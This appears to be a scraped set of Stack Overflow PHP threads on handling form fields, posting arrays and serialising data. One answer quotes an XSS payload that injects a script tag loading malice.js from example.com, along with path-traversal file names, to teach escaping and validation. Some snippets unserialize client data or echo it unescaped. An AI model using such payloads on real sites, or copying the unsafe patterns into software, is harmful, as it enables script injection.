PHP Form handling multiple fields - php

What would be the best way to intercept multiple fields via PHP? Currently I have a login.php file which is pretty simple:
<form method="POST" action="auth.php">
Code:<br />
<input type="text" name="code" />
<input type="submit" id="submit" value="Submit" />
<br />
Pass:<br />
<input type="text" name="pass" />
<input type="submit" id="submit" value="Submit" />
</form>
Then in the auth.php I get the value via the POST:
$value = $_POST['code'];
The problem with this is that I would have a quite amount of fields, and every field would have a submit button assigned. Then I would need a if condition for every field name avaible, which I don't want to. What would be the best way to handle this?
Thanks

Just use a single submit button. There's no reason to have more than one here.
If you have multiple related fields you can use array naming:
Primary email: <input type="text" name="email[]" >
Additional email: <input type="text" name="email[]">
and access from php using
$emails = $_REQUEST['email'];
However, you should not use arrays like this for unrelated parameters just because you're too lazy to use multiple field names. If you do you're just writing terrible, unmaintainable code.

There's a couple of ways you can simplify this problem.
Here's one approach:
$fields = array('field1','field2','field3','field4','field5'); // Add all your field names to an array
$data = array();
foreach ($fields as $field) {
if (isset($_POST[$field])) {
$data[$field] = $_POST[$field];
// If you wanted it assigned to a local variable instead,
// you could do it like this, although this pattern is
// generally frowned upon:
${$field} = $_POST[$field];
}
}
The danger of assigning it as a local variable is that it can overwrite a variable that already exists. It could potentially overwrite something crucial to the rest of the application. However, because the field names are explicitly defined in the array, you do at least maintain control over this.
You would definitely NOT want to iterate through the $_POST array and assign each array key to a local variable -- doing so would leave you wide open for hackers.

You have a bad problem with HTML.
In HTML you don't need more than one submit button.
A submit does not submit a field, but a whole form.
You don't even need it, as most user-agents will submit a form if you press Enter on a textfield.
Anyway, your fields will have an attribute name, unique within the form, and shall have an id attribute unique within the document.
When they are sent, all data can be accessed in PHP as an array.
The superglobal $_POST in your case, or $_GET if that method was used to submit it.
There, you do your magic.

Related

PHP, pass array through POST

Which is the most secure way to send an array through POST?
foreach ($id as $array)
{
<input type="hidden" name="prova[]" value="<?php echo $array; ?>"/>
}
<input type="submit" name="submit"/>
or using implode() to create a single variable, pass the variable and then use explode() to get back the values into a new array?
Edit If you are asking about security, see my addendum at the bottom Edit
PHP has a serialize function provided for this specific purpose. Pass it an array, and it will give you a string representation of it. When you want to convert it back to an array, you just use the unserialize function.
$data = array('one'=>1, 'two'=>2, 'three'=>33);
$dataString = serialize($data);
//send elsewhere
$data = unserialize($dataString);
This is often used by lazy coders to save data to a database. Not recommended, but works as a quick/dirty solution.
Addendum
I was under the impression that you were looking for a way to send the data reliably, not "securely". No matter how you pass the data, if it is going through the users system, you cannot trust it at all. Generally, you should store it somewhere on the server & use a credential (cookie, session, password, etc) to look it up.
http://php.net/manual/en/reserved.variables.post.php
The first comment answers this.
<form ....>
<input name="person[0][first_name]" value="john" />
<input name="person[0][last_name]" value="smith" />
...
<input name="person[1][first_name]" value="jane" />
<input name="person[1][last_name]" value="jones" />
</form>
<?php
var_dump($_POST['person']);
array (
0 => array('first_name'=>'john','last_name'=>'smith'),
1 => array('first_name'=>'jane','last_name'=>'jones'),
)
?>
The name tag can work as an array.
You could put it in the session:
session_start();
$_SESSION['array_name'] = $array_name;
Or if you want to send it via a form you can serialize it:
<input type='hidden' name='input_name' value="<?php echo htmlentities(serialize($array_name)); ?>" />
$passed_array = unserialize($_POST['input_name']);
Note that to work with serialized arrays, you need to use POST as the form's transmission method, as GET has a size limit somewhere around 1024 characters.
I'd use sessions wherever possible.
There are two things to consider: users can modify forms, and you need to secure against Cross Site Scripting (XSS).
XSS
XSS is when a user enters HTML into their input. For example, what if a user submitted this value?:
" /><script type="text/javascript" src="http://example.com/malice.js"></script><input value="
This would be written into your form like so:
<input type="hidden" name="prova[]" value="" /><script type="text/javascript" src="http://example.com/malice.js"></script><input value=""/>
The best way to protect against this is to use htmlspecialchars() to secure your input. This encodes characters such as < into <. For example:
<input type="hidden" name="prova[]" value="<?php echo htmlspecialchars($array); ?>"/>
You can read more about XSS here: https://www.owasp.org/index.php/XSS
Form Modification
If I were on your site, I could use Chrome's developer tools or Firebug to modify the HTML of your page. Depending on what your form does, this could be used maliciously.
I could, for example, add extra values to your array, or values that don't belong in the array. If this were a file system manager, then I could add files that don't exist or files that contain sensitive information (e.g.: replace myfile.jpg with ../index.php or ../db-connect.php).
In short, you always need to check your inputs later to make sure that they make sense, and only use safe inputs in forms. A File ID (a number) is safe, because you can check to see if the number exists, then extract the filename from a database (this assumes that your database contains validated input). A File Name isn't safe, for the reasons described above. You must either re-validate the filename or else I could change it to anything.
Why are you sending it through a post if you already have it on the server (PHP) side?
Why not just save the array to s $_SESSION variable so you can use it when the form gets submitted, that might make it more "secure" since then the client cannot change the variables by editing the source.
It all depends on what you really want to do.

Submit same form to multiple locations without Javascript

Having looked at various similar questions, both on SO and elsewhere, I have a horrible feeling what I want to do is impossible, but here goes.
I have a page that is a table of text input rows. The user enters information on each row, and submits the data to a separate file, which creates a PDF.
The problem is that I need the user to be able to add rows to the table at will, since the amount of data can vary.
[Before you go there, I need to point out that I cannot use Javascript for any of this - I know it is easy to do in JS but the page needs to be accessible.]
Here is a very simplified version I just cobbled together to (hopefully) illustrate the point:
<?php
if (filter_has_var(INPUT_POST, 'add_rows')) {
$howmanyrows = filter_input(INPUT_POST, 'howmanyrows', FILTER_SANITIZE_NUMBER_INT);
//get all the data from table and put it in an array,
//then add 5 (or however many) new rows to said array.
}
else if (filter_has_var(INPUT_POST, 'send_data')) {
//get table data, add to session and redirect to other page with a header()
}
?>
<html>
<form action="" method="POST">
<table>
<?php //table rows added using an array of data
foreach ($data as $d): ?>
<tr><td><input type="text" value="<?php echo $d; ?>"></td></tr>
<?php endforeach; ?>
</table>
<input type="text" name="howmanyrows" value="5">
<input type="submit" name="add_rows">
<input type="submit" name="send_data">
</form>
...
</html>
As you can see, at the moment I have a clunky setup where there is just one form that encompasses the entire page, and submits the page to itself. Depending on the button that was clicked, a new row is added or the data is submitted to the PDF-creation page.
This is not ideal, for so many reasons. What I really want to be able to do is have two separate forms, or nested forms. But the former won't allow the input values to be submitted to both, and the latter is apparently bad form (no pun intended) and doesn't work.
Is it at all possible to make this do what I want it to do? Any suggestions for a different way to go about it?
I think you have the best non-javascript solution - certainly hte way I'd run with it.
One thing to make it easier is that you can use multiple inputs with the same name:
<input name="tablerow[]" type="text" value="A" />
<input name="tablerow[]" type="text" value="B" />
<input name="tablerow[]" type="text" value="C" />
And these come through the $_POST['tablerow'] as an array. The length of the array is the number of fields. Then add additional fields to that.
For accessibility, you should add a link at the top that allows the user to hop directly to the first "new" field - otherwise they need to tab through the entire form to get to the new field. (See my comment above about if JS is really unavoidable as you and they can avoid this scenario!)

Passing extra data in $_POST vars

I need to pass an id along with a form field e.g
<input name="__field_name" value="1234" />
this only passes the name and value as a key => value pair. i need to keep the name (dynamically entered by the user) and value intact for later use, but i also need to pass an ID along with this var.
how can i do this cleanly? i was thinking putting it in the name and doing a regex to seperate it e.g.
__field_name__ID
although this seems messy...
points to consider:
there are allot of post variables that are generated by the CMS (wordpress) that i wont use
name must be retained in original format along with value
Why not submit the data as an array?
Instead of calling your field __field_name__id or some mess, use the facilities PHP provides: Call your input field field_name[id] and when the form is posted back to the server, PHP's $_POST array will have a sub-array called field_name which contains the key=>value mappings you'd mentioned.
If you have two such fields you want to tie together, use the following:
<input type="text" name="myFields[id]" />
<input type="text" name="myFields[name]" />
And on postback, PHP will provide you with a $_POST['myFields']['id'] and $_POST['myFields']['name'].
You could add a hidden field which contains the input field name value.
<input type="text" name="field_1" />
<input type="hidden" name="field_1_name"/>
You need to add a hidden form field which contains the Id of the first field. You can name it as field1_ID or something.
<input type="text" name="first_field" value="As_Entered_By_User"/>
<input type="hidden" name="first_field_id" value="id_first_field"/>
Or if you are familiar with Javascript, You can post it using javascript with single form field putting the id as an attribute.
<input type="text" name="first_field" id="first_field_id" value="as_enteredBy_user"/>
<script>var id_to_post=document.form1.first_field.id;</script>
here form1 is the name of the form containing the input box.

Get $_POST from type=file

I have form for example:
<input type="text" />
<input type="file" />
<input type="submit" />
You have to fill the text and the file, if you dont fill the text for example you have an error message, but I want to preserve what the user filled in the file's input.
How to do it with $_POST or somthing else?
I want to preserve what the user filled in the file's input.
Impossible.
NOTE:
$_POST is not the superglobal that will provide information related to 'file' inputs'. Look into you $_FILES superglobal for that kind of information.
You have to specify the "name" attribute of each input to something different:
<input type="text" name="title" />
<input type="file" name="picture"/>
<input type="submit" name="submit_button_1"/>
<input type="submit" name="submit_button_2"/>
Setting the name attribute of the submit input can be useful when you have several of them and you want to know on which one you clicked.
whatever user submits from client-side is not controlled by server-side, but you can:
use javascript to "scan" the extension name of file (.php), and prevent other files from not being able to be submitted. However this doesn't stop people renaming other files to .php.
the question is what you gonna do with the submitted php file? keep it in database? or execute it? you need to scan its content to make sure it doesn't contain malicious code. I am not very sure how php can do this, though.

Will data order in post form be the same to it in web form?

Assuming there are 5 inputs in web form
<input name='the_same[]' value='different' />
<input name='the_same[]' value='different' />
<input name='the_same[]' value='different' />
<input name='the_same[]' value='different' />
<input name='the_same[]' value='different' />
When server side receive the post data, i use a foreach to accept data, say
$the_same = new array();
foreach($_POST['the_same'] as $data)
$the_same[] = $data;
Will the order of data saved in server side be the same to it in web form? and cross browsers, it could be a criteria all browsers follow.
Well, the W3C recommendation on HTML forms does say:
The control names/values are listed in
the order they appear in the document.
Still, I'd consider it a bit risky to have your app depend critically on that detail.
PHP already handles converting POSTed/GETed variables into arrays when you put [] after the name. Do that instead of getting it wrong yourself.
Better way to do in html:
<input name='the_same[]' value='different' />
Then in server:
$the_same = new array();
foreach($_POST['the_same'] as $data) // or $_GET if you prefer
$the_same[] = $data;
In this way no variable will be overwrite.
if you want to have it in an order, you may use the dynamic variables or simply access the array explicitly
the_same1
the_same2
the_same3
since you know the names anyway, you can access them easily
$the_same = array();
for($i=1; ; $i++){
$tmp =$_REQUEST["the_same".$i]
if( empty($tmp) ){
// no more stuff
break;
}
$the_same[] = $tmp;
}
If you change the name of your input to the_same[] - $_REQUEST['the_same'] will become an array of those values, first to last in element order (all current browsers I believe).
You can also specify a specific order if you need, or even use string keys. For instance, an <input name='the_same[apple][2]'/> would become $_REQUEST['the_same']['apple'][2]
Without using the [] on the input names, PHP will only see the last value. The other values will be 'overwritten' by the later value when the $_REQUEST/$_GET/$_POST arrays are constructed.
An example of using that to your advantage could be with a checkbox, as the HTML checkbox only submits a value when checked, you may want to submit a "not checked" value somtime:
<input type='hidden' name='check' value='not checked' />
<input type='checkbox' name='check' value='checked' />
Most likely yes, but you should not assume this. It depends on your browser how the inputs are being send, and aditionally PHP does not guarantee that a foreach loop iterates in the same order as the elements were added.
It is a bad practise to give your inputs the same name.
You could append an index after each name value (even with javascript if you want), and then read this in PHP to be sure the order is maintained.

Categories